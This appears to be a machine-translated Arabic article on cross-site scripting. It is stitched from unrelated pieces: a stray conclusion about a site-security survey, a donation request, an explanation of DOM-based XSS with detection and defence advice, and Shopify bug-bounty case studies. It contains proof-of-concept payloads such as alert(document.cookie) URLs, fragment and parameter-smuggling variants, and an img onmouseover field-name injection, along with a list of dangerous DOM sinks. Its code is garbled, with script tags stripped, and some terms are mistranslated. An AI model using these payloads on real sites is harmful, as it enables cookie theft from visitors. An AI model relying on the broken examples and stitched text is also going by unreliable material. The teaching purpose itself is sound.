الخلاصة في هذه المقالة، أخبرناك عن ثغرات xss باستخدام جافا سكريبت، وقمنا أيضًا بإجراء دراسة حقيقية حول قوة المواقع واستقرارها. ونتيجة للتقييم الأمني، تبين أن غالبية المواقع، أي 84٪، محمية بشكل جيد من من هذا النوعالهجمات. ولكن لا تزال هناك نسبة معينة من المواقع غير الجديرة بالثقة ولا يمكنها مقاومة الهجمات. وهذا عيب خطير يجب تصحيحه. لسوء الحظ، ليس كل مالكي مواقع الويب على استعداد لاستثمار الأموال في تحسين أمان مواقع الويب. ولكن في كل عام، تصبح شدة القانون فيما يتعلق بالكشف عن البيانات الشخصية وتسربها وإتلافها أكثر صرامة، مما يجبر أصحابها عديمي الضمير على مراقبة أمن مواردهم بشكل أفضل. يتزايد حجم الغرامة المفروضة على انتهاك الجزء 6 من المادة 13.11 من قانون الجرائم الإدارية، ومع ذلك يتزايد أيضًا أمان بياناتنا الشخصية.

يمكنك المساعدة وتحويل بعض الأموال لتطوير الموقع

نعلم جميعًا ما هي البرمجة النصية عبر المواقع، أليس كذلك؟ هذه هي الثغرة الأمنية التي يرسل فيها المهاجم بيانات ضارة (عادةً HTML تحتوي على كود Javascript) والتي يتم إرجاعها لاحقًا بواسطة التطبيق، مما يتسبب في تنفيذ تعليمات Javascript البرمجية. إذن هذا ليس صحيحا! هناك نوع من هجمات XSS لا يتناسب مع هذا التعريف، على الأقل في مبادئه الأساسية. تنقسم هجمات XSS، كما هو محدد أعلاه، إلى هجمات فورية (يتم تضمين البيانات الضارة في الصفحة التي يتم إرجاعها إلى المتصفح مباشرة بعد الطلب) ومتأخرة (يتم إرجاع البيانات الضارة بعد مرور بعض الوقت). ولكن هناك نوع ثالث من هجمات XSS، وهو لا يعتمد على إرسال بيانات ضارة إلى الخادم. على الرغم من أن الأمر يبدو غير بديهي، إلا أن هناك مثالين موثقين جيدًا لمثل هذا الهجوم. توضح هذه المقالة النوع الثالث من هجمات XSS - XSS عبر DOM (XSS المستند إلى DOM). لن يتم هنا كتابة أي شيء جديد بشكل أساسي حول الهجوم، بل إن ابتكار هذه المادة هو في تسليط الضوء على السمات المميزة للهجوم، وهي مهمة جدًا ومثيرة للاهتمام.

يجب على المطورين ومستخدمي التطبيقات فهم مبادئ هجمات XSS عبر DOM، لأنها تشكل تهديدًا لتطبيقات الويب وتختلف عن XSS العادي. هناك العديد من تطبيقات الويب على الإنترنت معرضة لهجمات XSS عبر DOM وفي نفس الوقت تم اختبارها لـ XSS ووجدت أنها "غير معرضة" لهذا النوع من الهجمات. يجب أن يتعرف المطورون ومسؤولو المواقع على تقنيات الكشف والحماية ضد XSS عبر DOM، حيث تختلف هذه التقنيات عن التقنيات المستخدمة للتعامل مع ثغرات XSS القياسية.

مقدمة

يجب أن يكون القارئ على دراية بالمبادئ الأساسية لهجمات XSS (،،،،،). يشير XSS عادة إلى البرمجة النصية الفورية () والبرمجة البطيئة عبر المواقع. باستخدام XSS الفوري، يتم إرجاع التعليمات البرمجية الضارة (Javascript) بواسطة الخادم الذي تمت مهاجمته على الفور كرد فعل على طلب HTTP. ويعني مصطلح XSS المؤجل أنه يتم تخزين التعليمات البرمجية الضارة على النظام الذي تمت مهاجمته ويمكن حقنه فيه لاحقًا صفحة HTMLنظام ضعيف. كما ذكرنا أعلاه، يفترض هذا التصنيف أن الخاصية الأساسية لـ XSS هي أن التعليمات البرمجية الضارة يتم إرسالها من متصفح إلى خادم وإعادتها إلى نفس المتصفح (فلاش XSS) أو أي متصفح آخر (XSS مؤجل). تثير هذه المقالة مشكلة أن هذا تصنيف خاطئ. إن القدرة على تنفيذ هجوم XSS الذي لا يعتمد على إدخال التعليمات البرمجية في الصفحة التي يعرضها الخادم سيكون لها تأثير كبير على تقنيات الأمان والكشف. وتناقش مبادئ مثل هذه الهجمات في هذه المقالة.

المثال والتعليقات

قبل وصف أبسط سيناريو للهجوم، من المهم التأكيد على أن الأساليب الموضحة هنا قد تم بالفعل عرضها علنًا عدة مرات (على سبيل المثال، و ). لا أدعي أن الطرق المذكورة أدناه موصوفة لأول مرة (على الرغم من اختلاف بعضها عن المواد المنشورة مسبقًا).

قد تكون علامة الموقع الضعيف وجود صفحة HTML تستخدم بيانات من document.location أو document.URL أو document.referrer (أو أي كائنات أخرى يمكن أن تتأثر بالمهاجم) بطريقة غير آمنة.

ملاحظة للقراء الذين ليسوا على دراية بكائنات Javascript هذه: عند تشغيل تعليمات Javascript البرمجية في المتصفح، فإنها تصل إلى العديد من الكائنات الممثلة في DOM (نموذج كائن المستند). كائن المستند هو الكائن الرئيسي بين هذه الكائنات ويوفر الوصول إلى معظم خصائص الصفحة. يحتوي هذا الكائن على العديد من الكائنات المتداخلة مثل الموقع وعنوان URL والمُحيل. ويتم التحكم فيها بواسطة المتصفح وفقًا لوجهة نظر المتصفح (كما سنرى أدناه، وهذا أمر مهم جدًا). لذلك، document.URL و document.location يحتويان على عنوان URL للصفحة، أو بشكل أكثر دقة، ما يعنيه المتصفح بعنوان URL. يرجى ملاحظة أن هذه الكائنات لم يتم أخذها من نص صفحة HTML. يحتوي كائن المستند على كائن أساسي يحتوي على كود HTML الذي تم تحليله للصفحة.

ليس من الصعب العثور على صفحة HTML تحتوي على كود Javascript الذي يوزع سلسلة عنوان URL (يتم الوصول إليها عبر document.URL أو document.location)، ويقوم، وفقًا لقيمته، بتنفيذ بعض الإجراءات من جانب العميل. فيما يلي مثال على هذا الرمز.

قياسًا على المثال الوارد، فكر في صفحة HTML التالية (بافتراض أن المحتوى هو http://www.vulnerable.site/welcome.html):

مرحباً! مرحبًا var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.URL.length));
مرحبا بكم في نظامنا...

ومع ذلك، استعلام مثل هذا -

http://www.vulnerable.site/welcome.html?name=alert(document.cookie)

من شأنه أن يسبب XSS. دعونا نلقي نظرة على السبب: بعد أن تلقى متصفح الضحية هذا الرابط، يرسل طلب HTTP إلى www.vulnerable.site ويستقبل صفحة HTML (الثابتة!) المذكورة أعلاه. يبدأ متصفح الضحية في تحليل كود HTML هذا. يحتوي DOM على كائن مستند يحتوي على حقل URL، ويتم ملء هذا الحقل بقيمة عنوان URL للصفحة الحالية أثناء إنشاء DOM. عندما يصل المحلل إلى كود Javascript، فإنه ينفذه، مما يؤدي إلى تعديل كود HTML الخاص بالصفحة المعروضة. في هذه الحالة، يشير الكود إلى document.URL وبما أن جزءًا من هذه السلسلة مضمن في HTML أثناء التحليل، والذي يتم تحليله على الفور، فسيتم تنفيذ الكود المكتشف (تنبيه (...)) في سياق نفس الصفحة.

ملحوظات:

1. لا يتم تضمين التعليمات البرمجية الضارة في صفحة HTML (على عكس الأنواع الأخرى من XSS).
2. سيعمل هذا الاستغلال بشرط ألا يقوم المتصفح بتعديل أحرف URL. تقوم Mozilla تلقائيًا بتشفير الأحرف '' (في %3C و%3E على التوالي) في كائنات المستند المتداخلة. إذا تمت كتابة عنوان URL مباشرةً في شريط العناوين، فلن يكون هذا المتصفح عرضة للهجوم الموضح في هذا المثال. ومع ذلك، إذا كان الهجوم لا يتطلب الأحرف '' (في شكلها الأصلي غير المشفر)، فيمكن تنفيذ الهجوم. لا يقوم Microsoft Internet Explorer 6.0 بتشفير '' وبالتالي فهو عرضة للهجوم الموصوف دون أي قيود. ومع ذلك، هناك العديد من سيناريوهات الهجوم المختلفة التي لا تتطلب ''، وبالتالي حتى موزيلا ليست محصنة ضد هذا الهجوم.

طرق اكتشاف ومنع الثغرات الأمنية من هذا النوع

في المثال أعلاه، لا يزال يتم إرسال التعليمات البرمجية الضارة إلى الخادم (كجزء من طلب HTTP)، لذلك يمكن اكتشاف الهجوم تمامًا مثل أي هجوم XSS آخر. ولكن هذه مشكلة قابلة للحل.

خذ بعين الاعتبار المثال التالي:

http://www.vulnerable.site/welcome.html#name=alert(document.cookie)

لاحظ الرمز "#" الموجود على يمين اسم الملف. يخبر المتصفح أن كل شيء بعد هذا الحرف ليس جزءًا من الطلب. لا يرسل Microsoft Internet Explorer (6.0) وMozilla الجزء بعد الحرف "#" إلى الخادم، لذلك سيكون هذا الطلب مكافئًا للخادم http://www.vulnerable.site/welcome.html، أي. لن يلاحظ الخادم التعليمات البرمجية الضارة. وبالتالي، بفضل هذه التقنية، لا يرسل المتصفح حمولة ضارة إلى الخادم.

ومع ذلك، في بعض الحالات يكون من المستحيل إخفاء الحمولة: حيث تكون الحمولة الضارة جزءًا من اسم المستخدم في عنوان URL مثل http://username@host/. في هذه الحالة، يرسل المتصفح طلبًا برأس تفويض يحتوي على اسم المستخدم (حمولة ضارة)، مما يؤدي إلى وصول تعليمات برمجية ضارة إلى الخادم (تشفير Base64 - وبالتالي يجب على IDS/IPS أولاً فك تشفير هذه البيانات لاكتشاف الهجوم). ومع ذلك، لا يُطلب من الخادم إدخال هذه الحمولة في إحدى صفحات HTML المتاحة، على الرغم من أن هذا شرط ضروري لتنفيذ هجوم XSS.

من الواضح أنه في المواقف التي يمكن فيها إخفاء الحمولة بالكامل، لا يمكن لأدوات الكشف (IPS) والوقاية (IPS، جدران حماية تطبيقات الويب) الحماية بشكل كامل من هذا الهجوم. حتى إذا كان من الضروري إرسال الحمولة إلى الخادم، ففي كثير من الحالات يمكن تحويلها بطريقة معينة لتجنب اكتشافها. على سبيل المثال، إذا كانت بعض المعلمات محمية (على سبيل المثال، معلمة الاسم في المثال أعلاه)، فإن تغييرًا بسيطًا في البرنامج النصي للهجوم يمكن أن يؤدي إلى النتيجة التالية:

(المستند.ملف تعريف الارتباط)

قد تتطلب سياسة الأمان الأكثر صرامة إرسال معلمة الاسم. وفي هذه الحالة يمكنك تقديم الطلب التالي:

http://www.vulnerable.site/welcome.html?notname=alert(document.cookie)&name=Joe

إذا كانت سياسة الأمان الخاصة بك تقيد أسماء المعلمات الإضافية (على سبيل المثال: foobar)، فيمكنك استخدام الخيار التالي:

http://www.vulnerable.site/welcome.html?foobar=name=alert(document.cookie)&name=Joe

يرجى ملاحظة أن المعلمة التي تم تجاهلها (foobar) يجب أن تأتي أولاً وتحتوي على حمولة في قيمتها.

يعد سيناريو الهجوم الموصوف في هذا الخيار أكثر تفضيلاً للمهاجم، حيث تتم كتابة القيمة الكاملة لـ document.location في صفحة HTML (لا يبحث كود Javascript عن اسم معلمة محدد). وبالتالي، يمكن للمهاجم إخفاء الحمولة بالكامل عن طريق إرسال ما يلي:

/attachment.cgi?id=&action=foobar#alert(document.cookie)

حتى إذا تم تحليل الحمولة بواسطة الخادم، فلا يمكن ضمان الحماية إلا في حالة رفض الطلب أو استبدال الاستجابة ببعض نص الخطأ. بالإشارة مرة أخرى إلى و: إذا تمت إزالة رأس التفويض ببساطة بواسطة نظام الأمان الوسيط، فلن يكون له أي تأثير إذا تم إرجاع الصفحة الأصلية. وبالمثل، فإن أي محاولة لمعالجة البيانات الموجودة على الخادم عن طريق إزالة أو تشفير الأحرف غير القانونية لن تكون فعالة ضد هذا الهجوم.

في حالة document.referrer، يتم إرسال الحمولة إلى الخادم عبر رأس المُحيل. ومع ذلك، إذا قام متصفح المستخدم أو الحماية المتوسطة بإزالة هذا الرأس، فلن يكون هناك أي أثر للهجوم، والذي يمكن أن لا يتم اكتشافه تمامًا.

لتلخيص، نستنتج أن الطرق التقليدية، وهي

1. الترميز بيانات HTMLجانب الخادم
2. لا تعمل إزالة/تشفير المدخلات المحظورة من جانب الخادم ضد DOM XSS.

البحث تلقائيًا عن الثغرات الأمنية عن طريق "قصف" البيانات الضارة (يسمى أحيانًا التشويش) لن ينجح، نظرًا لأن البرامج التي تستخدم هذه التقنية عادةً ما تقوم باستنتاجات بناءً على ما إذا كانت البيانات المضمنة موجودة في الصفحة التي تم إرجاعها أم لا (بدلاً من تنفيذ التعليمات البرمجية في السياق المتصفح من جانب العميل ومراقبة النتائج). ومع ذلك، إذا تمكن البرنامج من تحليل كود Javascript الموجود على الصفحة بشكل ثابت، فقد يشير إلى علامات مشبوهة (انظر أدناه). وبالطبع، إذا تمكنت أدوات الأمان من تنفيذ تعليمات برمجية Javascript (وتهيئة كائنات DOM بشكل صحيح) أو محاكاة هذا التنفيذ، فستكون قادرة على اكتشاف هذا الهجوم.

سيعمل أيضًا البحث يدويًا عن الثغرة الأمنية باستخدام المتصفح، حيث يمكن للمتصفح تنفيذ تعليمات برمجية Javascript من جانب العميل. يمكن لأدوات الثغرات الأمنية اعتماد هذه الطريقة وتشغيل تعليمات برمجية من جانب العميل لمراقبة نتائج تنفيذها.
حماية فعالة

تجنب عمليات إعادة كتابة المستندات أو عمليات إعادة التوجيه أو غيرها من الإجراءات المماثلة التي تستخدم البيانات من جانب العميل. يمكن تنفيذ معظم هذه الإجراءات باستخدام الصفحات الديناميكية (جانب الخادم).
2.

تحليل وتحسين أمان التعليمات البرمجية (Javascript) من جانب العميل. يجب التحقق بعناية من المراجع إلى كائنات DOM التي يمكن أن تتأثر بالمستخدم (المهاجم). يجب إيلاء اهتمام خاص للأشياء التالية (على سبيل المثال لا الحصر):
* الوثيقة.URL
* document.URLU غير مشفر
* document.location (وخصائصه)
* الوثيقة.المرجع
* window.location (وخصائصه)

لاحظ أنه يمكن الرجوع إلى خصائص كائنات المستند والنافذة بعدة طرق: بشكل صريح (مثال: window.location)، أو ضمنيًا (مثال: الموقع)، أو عن طريق الحصول على مقبض واستخدامه (مثال: Handle_to_some_window.location).

يجب إيلاء اهتمام خاص للتعليمات البرمجية التي يتم فيها تعديل DOM، سواء بشكل صريح أو محتمل، من خلال الوصول المباشر إلى HTML أو من خلال الوصول مباشرة إلى DOM. أمثلة (هذه ليست قائمة شاملة بأي حال من الأحوال):
* الإدخال في كود HTML الخاص بالصفحة:
o مستند.اكتب (...)
o مستند.كتابة(...)
o document.body.innerHtml=…
* تغيير DOM مباشرة (بما في ذلك أحداث DHTML):
o document.forms.action=... (والأشكال الأخرى)
o document.attachEvent(...)
o مستند.إنشاء…(…)
o document.execCommand(...)
o document.body. ... (الوصول إلى DOM عبر كائن الجسم)
o window.attachEvent(...)
* تغيير عنوان URL للمستند:
o document.location=… (بالإضافة إلى تعيين قيم href والمضيف واسم المضيف لكائن الموقع)
o document.location.hostname=...
o document.location.replace(...)
o document.location.assis(...)
o document.URL=…
يا نافذة. التنقل (...)
* فتح/تعديل كائن النافذة:
o مستند.فتح(...)
يا نافذة.فتح(...)
o window.location.href=… (بالإضافة إلى تعيين قيم المضيف واسم المضيف لكائن الموقع)
* تنفيذ البرنامج النصي مباشرة:
يا تقييم (…)
يا window.execScript(...)
يا window.setInterval(...)
يا window.setTimeout(...)

تتضمن البرمجة النصية عبر المواقع، أو البرمجة النصية عبر المواقع، أو XSS، موقعًا يتضمن تعليمات برمجية غير مقصودة لـ Javascript، والتي يتم إرسالها بدورها إلى المستخدمين الذين ينفذون التعليمات البرمجية في متصفحاتهم. يبدو المثال غير الضار لـ XSS (وهو بالضبط ما يجب عليك استخدامه!) كما يلي:

تنبيه('XSS');

سيؤدي هذا إلى استدعاء وظيفة تنبيه جافا سكريبت وإنشاء مربع بسيط (وغير ضار) يحتوي على الأحرف XSS. في الإصدارات السابقةكتاب، أوصي باستخدام هذا المثال عند كتابة التقارير. وذلك إلى أن أخبرني أحد المتسللين الناجحين للغاية أنه "مثال فظيع"، موضحًا أن متلقي تقرير الضعف قد لا يدرك مدى خطورة المشكلة، ولأن المثال غير ضار، فإنه سيدفع مكافأة صغيرة.

لذلك، استخدم هذا المثال لاكتشاف ثغرة XSS، ولكن عند كتابة التقرير، فكر في الضرر المحتمل الذي قد تسببه الثغرة الأمنية واشرحه. لا أقصد بهذا إخبار الشركة عن ماهية XSS، بل أشرح ما يمكنك تحقيقه من خلال استغلال الثغرة الأمنية وكيف يمكن أن تؤثر على موقعهم على وجه التحديد.

هناك ثلاثة أنواع مختلفة من XSS التي قد تسمع عنها أثناء البحث وإعداد التقارير:

• XSS العاكس: لا يتم تخزين هذه الهجمات على الموقع، مما يعني أنه يتم إنشاء XSS وتنفيذه في طلب واستجابة واحدة.
• XSS المخزن: يتم تخزين هذه الهجمات على الموقع وغالبًا ما تكون أكثر خطورة. ويتم تخزينها على الخادم وتنفيذها على صفحات "عادية" بواسطة مستخدمين غير مرتابين.
• Self XSS: لا يتم تخزين هذه الهجمات أيضًا على الموقع وعادةً ما يتم استخدامها كجزء من خداع الشخص لتشغيل XSS بنفسه، وعندما تبحث عن نقاط الضعف، ستجد أن الشركات غالبًا لا تهتم بالقضاء على Self XSS، فهي فقط. تهتم بالحالات التي قد يأتي فيها الضرر لمستخدميها من شخص آخر غيرهم، كما هو الحال مع Reflective وStored XSS. ومع ذلك، هذا لا يعني أنه لا ينبغي عليك البحث عن Self XSS.

إذا وجدت موقفًا يمكن فيه تنفيذ Self XSS ولكن لا يمكن حفظه، ففكر في كيفية استغلال هذه الثغرة الأمنية، هل يمكنك استخدامها مع شيء ما حتى لا يعد Self XSS؟

أحد أشهر الأمثلة على استخدام XSS هو MySpace Samy Work بواسطة Samy Kamkar. في أكتوبر 2005، استغل سامي ثغرة XSS مخزنة في ماي سبيس، مما سمح له بتحميل كود جافا سكريبت الذي تم تنفيذه في كل مرة يزور فيها شخص ما صفحته على ماي سبيس، مضيفًا زائر الصفحة كصديق لملف سامي الشخصي. علاوة على ذلك، قام الكود أيضًا بنسخ نفسه على صفحات أصدقاء سامي الجدد، بحيث تم تحديث الملفات الشخصية لأصدقائه الجدد بالنص التالي: "ولكن الأهم من ذلك كله، أن سامي هو بطلي".

على الرغم من أن مثال سامي لم يكن ضارًا نسبيًا، إلا أن استخدام XSS يسمح للمرء بسرقة معلومات تسجيل الدخول وكلمات المرور والمعلومات المصرفية وما إلى ذلك. على الرغم من الضرر المحتمل، فإن إصلاح ثغرات XSS ليس بالأمر الصعب بشكل عام ويتطلب من المطورين الهروب ببساطة من إدخال المستخدم (تمامًا مثل إدخال HTML) عند عرضه. على الرغم من أن بعض المواقع تقوم أيضًا بإزالة الأحرف الضارة المحتملة عندما يرسلها المتسلل.

1. Shopify بيع

الصعوبة: منخفضة
عنوان URL: الجملة.shopify.com
رابط التقرير: https://hackerone.com/reports/10629326 تاريخ التقرير: 21 ديسمبر 2015
المكافأة المدفوعة: 500 دولار
وصف:

موقع البيع Shopify27 عبارة عن صفحة بسيطة تحتوي على عبارة مباشرة تحث المستخدم على اتخاذ إجراء - أدخل اسم المنتج وانقر فوق "البحث عن المنتجات". وهنا لقطة:

لقطة شاشة لموقع مبيعات الجملة

كانت ثغرة XSS هنا هي أبسط ثغرة يمكنك العثور عليها - لم يتم الهروب من النص الذي تم إدخاله في شريط البحث، لذلك تم تنفيذ أي Javascript تم إدخاله. فيما يلي النص المرسل من وصف الثغرة الأمنية: test';alert('XSS');'

سبب نجاح ذلك هو أن Shopify أخذ مدخلات المستخدم، ونفذ استعلام البحث، وإذا لم تكن هناك نتائج، طبع رسالة تفيد بعدم وجود نتائج بحث لمصطلح البحث الذي تم إدخاله، مع إظهار إدخال المستخدم غير المحذوف على الصفحة. ونتيجة لذلك، تم عرض جافا سكريبت المقدم على الصفحة وفسرته المتصفحات على أنه جافا سكريبت قابل للتنفيذ.

الاستنتاجات

اختبر كل شيء، مع إيلاء اهتمام خاص للمواقف التي يتم فيها عرض النص المُدخل على الصفحة. تحقق لمعرفة ما إذا كان بإمكانك تضمين HTML أو Javascript في مدخلاتك ومعرفة كيفية معالجة الموقع لها. حاول أيضًا تشفير الإدخال كما هو موضح في الفصل الخاص بإدخالات HTML.

ليس من الضروري أن تكون ثغرات XSS معقدة أو مربكة. كانت هذه الثغرة الأمنية هي أبسط ما يمكن تخيله، وهي عبارة عن حقل إدخال نص بسيط لا يعالج إدخال المستخدم. وتم اكتشافها في 21 ديسمبر 2015، وجلبت للهاكر 500 دولار! كل ما يتطلبه الأمر هو تفكير القراصنة.

2. العربة بطاقات الهداياشوبيفي

الصعوبة: منخفضة
عنوان URL: hardware.shopify.com/cart
رابط التقرير: https://hackerone.com/reports/9508928 تاريخ التقرير: 21 أكتوبر 2015
المكافأة المدفوعة: 500 دولار
وصف:

يتيح موقع متجر بطاقات الهدايا Shopify29 للمستخدمين إنشاء تصميمات بطاقات الهدايا الخاصة بهم باستخدام نموذج HTML يتضمن مربع تحميل ملف، وبضعة أسطر لإدخال النص للحصول على التفاصيل، وما إلى ذلك. وهنا لقطة:

لقطة شاشة لنموذج متجر بطاقات الهدايا Shopify

تم تشغيل ثغرة XSS هنا عندما تم إدخال Javascript في حقل النموذج المخصص لعنوان الصورة. من السهل جدًا القيام بذلك باستخدام وكلاء HTML، والذي سنتحدث عنه لاحقًا في فصل "الأدوات". لذلك تضمن تقديم النموذج الأصلي ما يلي:

المحتوى -- التصرف : النموذج -- البيانات ; الاسم = "الخصائص [ملف Artwor 2 k]"

يمكن اعتراضه وتغييره إلى:

المحتوى -- التصرف : النموذج -- البيانات ; الاسم = "خصائص [ ملف Artwor 2 k< img src = ’test ’onmouseover = ’alert (2 ) ’> ] ”;

الاستنتاجات

هناك شيئان يجب ملاحظتهما هنا سيساعدان في اكتشاف ثغرات XSS:

لم تكن الثغرة الأمنية في هذه الحالة مباشرة في حقل تحميل الملف نفسه، بل كانت في اسم الحقل. لذلك، عندما تريد تطبيق XSS، لا تنس تجربة جميع قيم الحقول المتاحة.

تم إرسال القيمة المحددة بعد تعديلها بواسطة الوكيل. يعد هذا أمرًا مهمًا في المواقف التي يتم فيها التحقق من صحة القيم من جانب العميل (في متصفحك) قبل إرسالها إلى الخادم.

في الواقع، في أي وقت ترى فيه التحقق المباشر قيد التشغيل في متصفحك، يجب أن يكون ذلك علامة حمراء لاختبار هذا الحقل! يمكن للمطورين ارتكاب الأخطاء من خلال عدم التحقق من صحة القيم المقدمة للتعليمات البرمجية الضارة على الخادم لأنهم يأملون أن يكون التحقق من صحة جافا سكريبت في المتصفح قد تم بالفعل التحقق.